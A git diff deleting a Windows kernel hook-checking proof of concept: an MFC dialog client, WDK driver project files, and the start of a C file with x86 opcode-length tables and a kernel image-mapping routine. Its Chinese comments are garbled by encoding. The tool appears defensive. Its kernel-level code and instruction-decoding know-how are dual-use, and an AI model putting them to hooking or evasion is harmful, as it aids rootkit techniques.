- int cyIcon = GetSystemMetrics(SM_CYICON);
- CRect rect;
- GetClientRect(&rect);
- int x = (rect.Width() - cxIcon + 1) / 2;
- int y = (rect.Height() - cyIcon + 1) / 2;
-
- // ͼ
- dc.DrawIcon(x, y, m_hIcon);
- }
- else
- {
- CDialogEx::OnPaint();
- }
-}
-
-//û϶Сʱϵͳô˺ȡù
-//ʾ
-HCURSOR CCheckKernelHookDlg::OnQueryDragIcon()
-{
- return static_cast(m_hIcon);
-}
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.h
deleted file mode 100644
index c5dfea11..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.h
+++ /dev/null
@@ -1,76 +0,0 @@
-
-// CheckKernelHookDlg.h : ͷļ
-//
-
-#pragma once
-#include "afxcmn.h"
-#include "resource.h"
-#include
-
-
-typedef struct _INLINEHOOKINFO_INFORMATION { //INLINEHOOKINFO_INFORMATION
- ULONG ulHookType;
- ULONG ulMemoryFunctionBase; //ԭʼַ
- ULONG ulMemoryHookBase; //HOOK ַ
- CHAR lpszFunction[256];
- CHAR lpszHookModuleImage[256];
- ULONG ulHookModuleBase;
- ULONG ulHookModuleSize;
-
-} INLINEHOOKINFO_INFORMATION, *PINLINEHOOKINFO_INFORMATION;
-
-typedef struct _INLINEHOOKINFO { //InlineHook
- ULONG ulCount;
- INLINEHOOKINFO_INFORMATION InlineHook[1];
-} INLINEHOOKINFO, *PINLINEHOOKINFO;
-
-
-
-
-#define CTL_CHECKKERNELMODULE \
- CTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_NEITHER,FILE_ANY_ACCESS)
-
-// CCheckKernelHookDlg Ի
-class CCheckKernelHookDlg : public CDialogEx
-{
-//
-public:
- CCheckKernelHookDlg(CWnd* pParent = NULL); // 캯
-
-// Ի
- enum { IDD = IDD_CHECKKERNELHOOK_DIALOG };
-
- VOID CheckKernelHook();
- VOID InsertDataToList(PINLINEHOOKINFO PInlineHookInfo);
- protected:
- virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧
-
- HANDLE OpenDevice(LPCTSTR wzLinkPath)
- {
- HANDLE hDevice = CreateFile(wzLinkPath,
- GENERIC_READ | GENERIC_WRITE,
- FILE_SHARE_READ | FILE_SHARE_WRITE,
- NULL,
- OPEN_EXISTING,
- FILE_ATTRIBUTE_NORMAL,
- NULL);
- if (hDevice == INVALID_HANDLE_VALUE)
- {
- }
- return hDevice;
- }
-
-
-// ʵ
-protected:
- HICON m_hIcon;
-
- // ɵϢӳ亯
- virtual BOOL OnInitDialog();
- afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
- afx_msg void OnPaint();
- afx_msg HCURSOR OnQueryDragIcon();
- DECLARE_MESSAGE_MAP()
-public:
- CListCtrl m_List;
-};
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.ico b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.ico
deleted file mode 100644
index d56fbcdf..00000000
Binary files a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.ico and /dev/null differ
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.rc2 b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.rc2
deleted file mode 100644
index c73b92b2..00000000
Binary files a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.rc2 and /dev/null differ
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/ReadMe.txt b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/ReadMe.txt
deleted file mode 100644
index bca57cf6..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/ReadMe.txt
+++ /dev/null
@@ -1 +0,0 @@
-Check Kernel EAT Hook
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/resource.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/resource.h
deleted file mode 100644
index 22343152..00000000
Binary files a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/resource.h and /dev/null differ
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.cpp b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.cpp
deleted file mode 100644
index 0ae689db..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.cpp
+++ /dev/null
@@ -1,8 +0,0 @@
-
-// stdafx.cpp : ֻļԴļ
-// CheckKernelHook.pch ΪԤͷ
-// stdafx.obj ԤϢ
-
-#include "stdafx.h"
-
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.h
deleted file mode 100644
index fac76315..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.h
+++ /dev/null
@@ -1,58 +0,0 @@
-
-// stdafx.h : ϵͳļİļ
-// Ǿʹõĵ
-// ضĿİļ
-
-#pragma once
-
-#ifndef _SECURE_ATL
-#define _SECURE_ATL 1
-#endif
-
-#ifndef VC_EXTRALEAN
-#define VC_EXTRALEAN // Windows ͷųʹõ
-#endif
-
-#include "targetver.h"
-
-#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ
-
-// ر MFC ijЩɷĺԵľϢ
-#define _AFX_ALL_WARNINGS
-
-#include // MFC ͱ
-#include // MFC չ
-
-
-#include // MFC Զ
-
-
-
-#ifndef _AFX_NO_OLE_SUPPORT
-#include // MFC Internet Explorer 4 ؼ֧
-#endif
-#ifndef _AFX_NO_AFXCMN_SUPPORT
-#include // MFC Windows ؼ֧
-#endif // _AFX_NO_AFXCMN_SUPPORT
-
-#include // Ϳؼ MFC ֧
-
-
-
-
-
-
-
-
-
-#ifdef _UNICODE
-#if defined _M_IX86
-#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
-#elif defined _M_X64
-#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
-#else
-#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
-#endif
-#endif
-
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/targetver.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/targetver.h
deleted file mode 100644
index 0afac5bb..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/targetver.h
+++ /dev/null
@@ -1,8 +0,0 @@
-#pragma once
-
-// SDKDDKVer.h ߰汾Ŀ Windows ƽ̨
-
-// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h
-// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h
-
-#include
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook.sln b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook.sln
deleted file mode 100644
index 18664a1f..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 11.00
-# Visual Studio 2010
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CheckKernelHook", "CheckKernelHook\CheckKernelHook.vcxproj", "{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Win32 = Debug|Win32
- Release|Win32 = Release|Win32
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Debug|Win32.ActiveCfg = WinDDK|Win32
- {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Debug|Win32.Build.0 = WinDDK|Win32
- {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Release|Win32.ActiveCfg = WinDDK|Win32
- {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Release|Win32.Build.0 = WinDDK|Win32
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj
deleted file mode 100644
index 326ca31b..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj
+++ /dev/null
@@ -1,82 +0,0 @@
-
-
-
-
- WinDDK
- Win32
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}
- Win32Proj
- "CheckKernelHook"
-
-
-
-
-
-
-
- .sys
- false
- $(WLHBASE)\bin\x86\x86;$(WLHBASE)\bin\x86
- $(WLHBASE)\inc\api;$(WLHBASE)\inc\crt;$(WLHBASE)\inc\ddk;$(WLHBASE)\inc
-
- $(WLHBASE)\lib\win7\i386
-
-
-
-
-
- _X86_;DBG=1
- false
- false
- StdCall
- CompileAsC
-
-
-
-
- ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)
-
-
- true
- Native
- Driver
- DriverEntry
- true
- 0x10000
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj.filters b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj.filters
deleted file mode 100644
index eda87dca..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj.filters
+++ /dev/null
@@ -1,48 +0,0 @@
-
-
-
-
-
-
-
-
- Reload
-
-
- Reload
-
-
- Reload
-
-
- Reload
-
-
-
-
-
-
-
-
-
- Reload
-
-
- Reload
-
-
- Reload
-
-
- Reload
-
-
-
-
-
-
-
- {7f84aa62-4fe1-452a-a193-32b7b7a3e2db}
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.c
deleted file mode 100644
index 75921402..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.c
+++ /dev/null
@@ -1,783 +0,0 @@
-#include "Common.h"
-#include "Reload.h"
-
-
-
-UCHAR OpcodeFlags[256] =
-{
- OP_MODRM, // 00
- OP_MODRM, // 01
- OP_MODRM, // 02
- OP_MODRM, // 03
- OP_DATA_I8, // 04
- OP_DATA_PRE66_67, // 05
- OP_NONE, // 06
- OP_NONE, // 07
- OP_MODRM, // 08
- OP_MODRM, // 09
- OP_MODRM, // 0A
- OP_MODRM, // 0B
- OP_DATA_I8, // 0C
- OP_DATA_PRE66_67, // 0D
- OP_NONE, // 0E
- OP_NONE, // 0F
- OP_MODRM, // 10
- OP_MODRM, // 11
- OP_MODRM, // 12
- OP_MODRM, // 13
- OP_DATA_I8, // 14
- OP_DATA_PRE66_67, // 15
- OP_NONE, // 16
- OP_NONE, // 17
- OP_MODRM, // 18
- OP_MODRM, // 19
- OP_MODRM, // 1A
- OP_MODRM, // 1B
- OP_DATA_I8, // 1C
- OP_DATA_PRE66_67, // 1D
- OP_NONE, // 1E
- OP_NONE, // 1F
- OP_MODRM, // 20
- OP_MODRM, // 21
- OP_MODRM, // 22
- OP_MODRM, // 23
- OP_DATA_I8, // 24
- OP_DATA_PRE66_67, // 25
- OP_NONE, // 26
- OP_NONE, // 27
- OP_MODRM, // 28
- OP_MODRM, // 29
- OP_MODRM, // 2A
- OP_MODRM, // 2B
- OP_DATA_I8, // 2C
- OP_DATA_PRE66_67, // 2D
- OP_NONE, // 2E
- OP_NONE, // 2F
- OP_MODRM, // 30
- OP_MODRM, // 31
- OP_MODRM, // 32
- OP_MODRM, // 33
- OP_DATA_I8, // 34
- OP_DATA_PRE66_67, // 35
- OP_NONE, // 36
- OP_NONE, // 37
- OP_MODRM, // 38
- OP_MODRM, // 39
- OP_MODRM, // 3A
- OP_MODRM, // 3B
- OP_DATA_I8, // 3C
- OP_DATA_PRE66_67, // 3D
- OP_NONE, // 3E
- OP_NONE, // 3F
- OP_NONE, // 40
- OP_NONE, // 41
- OP_NONE, // 42
- OP_NONE, // 43
- OP_NONE, // 44
- OP_NONE, // 45
- OP_NONE, // 46
- OP_NONE, // 47
- OP_NONE, // 48
- OP_NONE, // 49
- OP_NONE, // 4A
- OP_NONE, // 4B
- OP_NONE, // 4C
- OP_NONE, // 4D
- OP_NONE, // 4E
- OP_NONE, // 4F
- OP_NONE, // 50
- OP_NONE, // 51
- OP_NONE, // 52
- OP_NONE, // 53
- OP_NONE, // 54
- OP_NONE, // 55
- OP_NONE, // 56
- OP_NONE, // 57
- OP_NONE, // 58
- OP_NONE, // 59
- OP_NONE, // 5A
- OP_NONE, // 5B
- OP_NONE, // 5C
- OP_NONE, // 5D
- OP_NONE, // 5E
- OP_NONE, // 5F
- OP_NONE, // 60
- OP_NONE, // 61
- OP_MODRM, // 62
- OP_MODRM, // 63
- OP_NONE, // 64
- OP_NONE, // 65
- OP_NONE, // 66
- OP_NONE, // 67
- OP_DATA_PRE66_67, // 68
- OP_MODRM | OP_DATA_PRE66_67, // 69
- OP_DATA_I8, // 6A
- OP_MODRM | OP_DATA_I8, // 6B
- OP_NONE, // 6C
- OP_NONE, // 6D
- OP_NONE, // 6E
- OP_NONE, // 6F
- OP_DATA_I8, // 70
- OP_DATA_I8, // 71
- OP_DATA_I8, // 72
- OP_DATA_I8, // 73
- OP_DATA_I8, // 74
- OP_DATA_I8, // 75
- OP_DATA_I8, // 76
- OP_DATA_I8, // 77
- OP_DATA_I8, // 78
- OP_DATA_I8, // 79
- OP_DATA_I8, // 7A
- OP_DATA_I8, // 7B
- OP_DATA_I8, // 7C
- OP_DATA_I8, // 7D
- OP_DATA_I8, // 7E
- OP_DATA_I8, // 7F
- OP_MODRM | OP_DATA_I8, // 80
- OP_MODRM | OP_DATA_PRE66_67, // 81
- OP_MODRM | OP_DATA_I8, // 82
- OP_MODRM | OP_DATA_I8, // 83
- OP_MODRM, // 84
- OP_MODRM, // 85
- OP_MODRM, // 86
- OP_MODRM, // 87
- OP_MODRM, // 88
- OP_MODRM, // 89
- OP_MODRM, // 8A
- OP_MODRM, // 8B
- OP_MODRM, // 8C
- OP_MODRM, // 8D
- OP_MODRM, // 8E
- OP_MODRM, // 8F
- OP_NONE, // 90
- OP_NONE, // 91
- OP_NONE, // 92
- OP_NONE, // 93
- OP_NONE, // 94
- OP_NONE, // 95
- OP_NONE, // 96
- OP_NONE, // 97
- OP_NONE, // 98
- OP_NONE, // 99
- OP_DATA_I16 | OP_DATA_PRE66_67,// 9A
- OP_NONE, // 9B
- OP_NONE, // 9C
- OP_NONE, // 9D
- OP_NONE, // 9E
- OP_NONE, // 9F
- OP_DATA_PRE66_67, // A0
- OP_DATA_PRE66_67, // A1
- OP_DATA_PRE66_67, // A2
- OP_DATA_PRE66_67, // A3
- OP_NONE, // A4
- OP_NONE, // A5
- OP_NONE, // A6
- OP_NONE, // A7
- OP_DATA_I8, // A8
- OP_DATA_PRE66_67, // A9
- OP_NONE, // AA
- OP_NONE, // AB
- OP_NONE, // AC
- OP_NONE, // AD
- OP_NONE, // AE
- OP_NONE, // AF
- OP_DATA_I8, // B0
- OP_DATA_I8, // B1
- OP_DATA_I8, // B2
- OP_DATA_I8, // B3
- OP_DATA_I8, // B4
- OP_DATA_I8, // B5
- OP_DATA_I8, // B6
- OP_DATA_I8, // B7
- OP_DATA_PRE66_67, // B8
- OP_DATA_PRE66_67, // B9
- OP_DATA_PRE66_67, // BA
- OP_DATA_PRE66_67, // BB
- OP_DATA_PRE66_67, // BC
- OP_DATA_PRE66_67, // BD
- OP_DATA_PRE66_67, // BE
- OP_DATA_PRE66_67, // BF
- OP_MODRM | OP_DATA_I8, // C0
- OP_MODRM | OP_DATA_I8, // C1
- OP_DATA_I16, // C2
- OP_NONE, // C3
- OP_MODRM, // C4
- OP_MODRM, // C5
- OP_MODRM | OP_DATA_I8, // C6
- OP_MODRM | OP_DATA_PRE66_67, // C7
- OP_DATA_I8 | OP_DATA_I16, // C8
- OP_NONE, // C9
- OP_DATA_I16, // CA
- OP_NONE, // CB
- OP_NONE, // CC
- OP_DATA_I8, // CD
- OP_NONE, // CE
- OP_NONE, // CF
- OP_MODRM, // D0
- OP_MODRM, // D1
- OP_MODRM, // D2
- OP_MODRM, // D3
- OP_DATA_I8, // D4
- OP_DATA_I8, // D5
- OP_NONE, // D6
- OP_NONE, // D7
- OP_WORD, // D8
- OP_WORD, // D9
- OP_WORD, // DA
- OP_WORD, // DB
- OP_WORD, // DC
- OP_WORD, // DD
- OP_WORD, // DE
- OP_WORD, // DF
- OP_DATA_I8, // E0
- OP_DATA_I8, // E1
- OP_DATA_I8, // E2
- OP_DATA_I8, // E3
- OP_DATA_I8, // E4
- OP_DATA_I8, // E5
- OP_DATA_I8, // E6
- OP_DATA_I8, // E7
- OP_DATA_PRE66_67 | OP_REL32, // E8
- OP_DATA_PRE66_67 | OP_REL32, // E9
- OP_DATA_I16 | OP_DATA_PRE66_67,// EA
- OP_DATA_I8, // EB
- OP_NONE, // EC
- OP_NONE, // ED
- OP_NONE, // EE
- OP_NONE, // EF
- OP_NONE, // F0
- OP_NONE, // F1
- OP_NONE, // F2
- OP_NONE, // F3
- OP_NONE, // F4
- OP_NONE, // F5
- OP_MODRM, // F6
- OP_MODRM, // F7
- OP_NONE, // F8
- OP_NONE, // F9
- OP_NONE, // FA
- OP_NONE, // FB
- OP_NONE, // FC
- OP_NONE, // FD
- OP_MODRM, // FE
- OP_MODRM | OP_REL32 // FF
-};
-
-UCHAR OpcodeFlagsExt[256] =
-{
- OP_MODRM, // 00
- OP_MODRM, // 01
- OP_MODRM, // 02
- OP_MODRM, // 03
- OP_NONE, // 04
- OP_NONE, // 05
- OP_NONE, // 06
- OP_NONE, // 07
- OP_NONE, // 08
- OP_NONE, // 09
- OP_NONE, // 0A
- OP_NONE, // 0B
- OP_NONE, // 0C
- OP_MODRM, // 0D
- OP_NONE, // 0E
- OP_MODRM | OP_DATA_I8, // 0F
- OP_MODRM, // 10
- OP_MODRM, // 11
- OP_MODRM, // 12
- OP_MODRM, // 13
- OP_MODRM, // 14
- OP_MODRM, // 15
- OP_MODRM, // 16
- OP_MODRM, // 17
- OP_MODRM, // 18
- OP_NONE, // 19
- OP_NONE, // 1A
- OP_NONE, // 1B
- OP_NONE, // 1C
- OP_NONE, // 1D
- OP_NONE, // 1E
- OP_NONE, // 1F
- OP_MODRM, // 20
- OP_MODRM, // 21
- OP_MODRM, // 22
- OP_MODRM, // 23
- OP_MODRM, // 24
- OP_NONE, // 25
- OP_MODRM, // 26
- OP_NONE, // 27
- OP_MODRM, // 28
- OP_MODRM, // 29
- OP_MODRM, // 2A
- OP_MODRM, // 2B
- OP_MODRM, // 2C
- OP_MODRM, // 2D
- OP_MODRM, // 2E
- OP_MODRM, // 2F
- OP_NONE, // 30
- OP_NONE, // 31
- OP_NONE, // 32
- OP_NONE, // 33
- OP_NONE, // 34
- OP_NONE, // 35
- OP_NONE, // 36
- OP_NONE, // 37
- OP_NONE, // 38
- OP_NONE, // 39
- OP_NONE, // 3A
- OP_NONE, // 3B
- OP_NONE, // 3C
- OP_NONE, // 3D
- OP_NONE, // 3E
- OP_NONE, // 3F
- OP_MODRM, // 40
- OP_MODRM, // 41
- OP_MODRM, // 42
- OP_MODRM, // 43
- OP_MODRM, // 44
- OP_MODRM, // 45
- OP_MODRM, // 46
- OP_MODRM, // 47
- OP_MODRM, // 48
- OP_MODRM, // 49
- OP_MODRM, // 4A
- OP_MODRM, // 4B
- OP_MODRM, // 4C
- OP_MODRM, // 4D
- OP_MODRM, // 4E
- OP_MODRM, // 4F
- OP_MODRM, // 50
- OP_MODRM, // 51
- OP_MODRM, // 52
- OP_MODRM, // 53
- OP_MODRM, // 54
- OP_MODRM, // 55
- OP_MODRM, // 56
- OP_MODRM, // 57
- OP_MODRM, // 58
- OP_MODRM, // 59
- OP_MODRM, // 5A
- OP_MODRM, // 5B
- OP_MODRM, // 5C
- OP_MODRM, // 5D
- OP_MODRM, // 5E
- OP_MODRM, // 5F
- OP_MODRM, // 60
- OP_MODRM, // 61
- OP_MODRM, // 62
- OP_MODRM, // 63
- OP_MODRM, // 64
- OP_MODRM, // 65
- OP_MODRM, // 66
- OP_MODRM, // 67
- OP_MODRM, // 68
- OP_MODRM, // 69
- OP_MODRM, // 6A
- OP_MODRM, // 6B
- OP_MODRM, // 6C
- OP_MODRM, // 6D
- OP_MODRM, // 6E
- OP_MODRM, // 6F
- OP_MODRM | OP_DATA_I8, // 70
- OP_MODRM | OP_DATA_I8, // 71
- OP_MODRM | OP_DATA_I8, // 72
- OP_MODRM | OP_DATA_I8, // 73
- OP_MODRM, // 74
- OP_MODRM, // 75
- OP_MODRM, // 76
- OP_NONE, // 77
- OP_NONE, // 78
- OP_NONE, // 79
- OP_NONE, // 7A
- OP_NONE, // 7B
- OP_MODRM, // 7C
- OP_MODRM, // 7D
- OP_MODRM, // 7E
- OP_MODRM, // 7F
- OP_DATA_PRE66_67 | OP_REL32, // 80
- OP_DATA_PRE66_67 | OP_REL32, // 81
- OP_DATA_PRE66_67 | OP_REL32, // 82
- OP_DATA_PRE66_67 | OP_REL32, // 83
- OP_DATA_PRE66_67 | OP_REL32, // 84
- OP_DATA_PRE66_67 | OP_REL32, // 85
- OP_DATA_PRE66_67 | OP_REL32, // 86
- OP_DATA_PRE66_67 | OP_REL32, // 87
- OP_DATA_PRE66_67 | OP_REL32, // 88
- OP_DATA_PRE66_67 | OP_REL32, // 89
- OP_DATA_PRE66_67 | OP_REL32, // 8A
- OP_DATA_PRE66_67 | OP_REL32, // 8B
- OP_DATA_PRE66_67 | OP_REL32, // 8C
- OP_DATA_PRE66_67 | OP_REL32, // 8D
- OP_DATA_PRE66_67 | OP_REL32, // 8E
- OP_DATA_PRE66_67 | OP_REL32, // 8F
- OP_MODRM, // 90
- OP_MODRM, // 91
- OP_MODRM, // 92
- OP_MODRM, // 93
- OP_MODRM, // 94
- OP_MODRM, // 95
- OP_MODRM, // 96
- OP_MODRM, // 97
- OP_MODRM, // 98
- OP_MODRM, // 99
- OP_MODRM, // 9A
- OP_MODRM, // 9B
- OP_MODRM, // 9C
- OP_MODRM, // 9D
- OP_MODRM, // 9E
- OP_MODRM, // 9F
- OP_NONE, // A0
- OP_NONE, // A1
- OP_NONE, // A2
- OP_MODRM, // A3
- OP_MODRM | OP_DATA_I8, // A4
- OP_MODRM, // A5
- OP_NONE, // A6
- OP_NONE, // A7
- OP_NONE, // A8
- OP_NONE, // A9
- OP_NONE, // AA
- OP_MODRM, // AB
- OP_MODRM | OP_DATA_I8, // AC
- OP_MODRM, // AD
- OP_MODRM, // AE
- OP_MODRM, // AF
- OP_MODRM, // B0
- OP_MODRM, // B1
- OP_MODRM, // B2
- OP_MODRM, // B3
- OP_MODRM, // B4
- OP_MODRM, // B5
- OP_MODRM, // B6
- OP_MODRM, // B7
- OP_NONE, // B8
- OP_NONE, // B9
- OP_MODRM | OP_DATA_I8, // BA
- OP_MODRM, // BB
- OP_MODRM, // BC
- OP_MODRM, // BD
- OP_MODRM, // BE
- OP_MODRM, // BF
- OP_MODRM, // C0
- OP_MODRM, // C1
- OP_MODRM | OP_DATA_I8, // C2
- OP_MODRM, // C3
- OP_MODRM | OP_DATA_I8, // C4
- OP_MODRM | OP_DATA_I8, // C5
- OP_MODRM | OP_DATA_I8, // C6
- OP_MODRM, // C7
- OP_NONE, // C8
- OP_NONE, // C9
- OP_NONE, // CA
- OP_NONE, // CB
- OP_NONE, // CC
- OP_NONE, // CD
- OP_NONE, // CE
- OP_NONE, // CF
- OP_MODRM, // D0
- OP_MODRM, // D1
- OP_MODRM, // D2
- OP_MODRM, // D3
- OP_MODRM, // D4
- OP_MODRM, // D5
- OP_MODRM, // D6
- OP_MODRM, // D7
- OP_MODRM, // D8
- OP_MODRM, // D9
- OP_MODRM, // DA
- OP_MODRM, // DB
- OP_MODRM, // DC
- OP_MODRM, // DD
- OP_MODRM, // DE
- OP_MODRM, // DF
- OP_MODRM, // E0
- OP_MODRM, // E1
- OP_MODRM, // E2
- OP_MODRM, // E3
- OP_MODRM, // E4
- OP_MODRM, // E5
- OP_MODRM, // E6
- OP_MODRM, // E7
- OP_MODRM, // E8
- OP_MODRM, // E9
- OP_MODRM, // EA
- OP_MODRM, // EB
- OP_MODRM, // EC
- OP_MODRM, // ED
- OP_MODRM, // EE
- OP_MODRM, // EF
- OP_MODRM, // F0
- OP_MODRM, // F1
- OP_MODRM, // F2
- OP_MODRM, // F3
- OP_MODRM, // F4
- OP_MODRM, // F5
- OP_MODRM, // F6
- OP_MODRM, // F7
- OP_MODRM, // F8
- OP_MODRM, // F9
- OP_MODRM, // FA
- OP_MODRM, // FB
- OP_MODRM, // FC
- OP_MODRM, // FD
- OP_MODRM, // FE
- OP_NONE // FF
-};
-
-
-NTSTATUS
- MapFileInUserSpace(WCHAR* wzFilePath,IN HANDLE hProcess OPTIONAL,
- OUT PVOID *BaseAddress,
- OUT PSIZE_T ViewSize OPTIONAL)
-{
- NTSTATUS Status = STATUS_INVALID_PARAMETER;
- HANDLE hFile = NULL;
- HANDLE hSection = NULL;
- OBJECT_ATTRIBUTES oa;
- SIZE_T MapViewSize = 0;
- IO_STATUS_BLOCK Iosb;
- UNICODE_STRING uniFilePath;
- if (!wzFilePath || !BaseAddress){
- return Status;
- }
- RtlInitUnicodeString(&uniFilePath, wzFilePath);
- InitializeObjectAttributes(&oa,
- &uniFilePath,
- OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
- NULL,
- NULL
- );
- Status = IoCreateFile(&hFile,
- GENERIC_READ | SYNCHRONIZE,
- &oa,
- &Iosb,
- NULL,
- FILE_ATTRIBUTE_NORMAL,
- FILE_SHARE_READ,
- FILE_OPEN,
- FILE_SYNCHRONOUS_IO_NONALERT,
- NULL,
- 0,
- CreateFileTypeNone,
- NULL,
- IO_NO_PARAMETER_CHECKING
- );
- if (!NT_SUCCESS(Status))
- {
- return Status;
- }
- oa.ObjectName = NULL;
- Status = ZwCreateSection(&hSection,
- SECTION_QUERY | SECTION_MAP_READ,
- &oa,
- NULL,
- PAGE_WRITECOPY,
- SEC_IMAGE,
- hFile
- );
- ZwClose(hFile);
- if (!NT_SUCCESS(Status))
- {
- return Status;
- }
- if (!hProcess){
- hProcess = NtCurrentProcess();
- }
- Status = ZwMapViewOfSection(hSection,
- hProcess,
- BaseAddress,
- 0,
- 0,
- 0,
- ViewSize ? ViewSize : &MapViewSize,
- ViewUnmap,
- 0,
- PAGE_WRITECOPY
- );
- ZwClose(hSection);
- if (!NT_SUCCESS(Status))
- {
- return Status;
- }
- return Status;
-}
-
-
-
-
-//ָͨúС
-unsigned long __fastcall GetFunctionCodeSize(void *Proc)
-{
- ULONG Length;
- PUCHAR pOpcode;
- ULONG Result = 0;
- ULONG CCINT3Count=0;
- do
- {
- Length = SizeOfCode(Proc, &pOpcode);
- Result += Length;
- if ((Length == 1) && (*pOpcode == 0xCC||*pOpcode==0x90)) CCINT3Count++;
- if (CCINT3Count>1 ||
- *pOpcode == 0x00)
- {
- break; //ж˳ָ
- }
- Proc = (PVOID)((ULONG)Proc + Length);
- } while (Length);
- return Result;
-}
-
-unsigned long __fastcall SizeOfCode(void *Code, unsigned char **pOpcode)
-{
- PUCHAR cPtr;
- UCHAR Flags;
- BOOLEAN PFX66, PFX67;
- BOOLEAN SibPresent;
- UCHAR iMod, iRM, iReg;
- UCHAR OffsetSize, Add;
- UCHAR Opcode;
-
- OffsetSize = 0;
- PFX66 = FALSE;
- PFX67 = FALSE;
- cPtr = (PUCHAR)Code;
-
- while ((*cPtr == 0x2E) || (*cPtr == 0x3E) || (*cPtr == 0x36) ||
- (*cPtr == 0x26) || (*cPtr == 0x64) || (*cPtr == 0x65) ||
